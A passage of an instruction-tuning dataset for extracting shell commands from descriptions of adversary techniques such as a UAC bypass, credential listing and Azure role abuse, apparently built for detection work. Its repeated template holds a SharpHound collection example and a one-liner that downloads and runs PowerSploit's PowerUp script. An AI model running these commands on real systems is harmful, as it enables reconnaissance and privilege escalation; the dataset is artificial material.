    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adverary may launch taskmgr.exe with the /7 switch via command prompt to view processes running on the system.\n[Reference](https://github.com/trellix-enterprise/ac3-threat-sightings/blob/main/sightings/Sightings_Conti_Ransomware.yml)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Identify the system time via PowerShell. Upon execution, the system time will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .shrc or .profile \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If \"Access is denied\"\nis displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, \"Successfully processed 3 files\"\nwill be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Via Command Prompt,list files where credentials are stored in Windows Credential Manager\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.",
    "output": "{\"command_list\": []}"
  },
  {
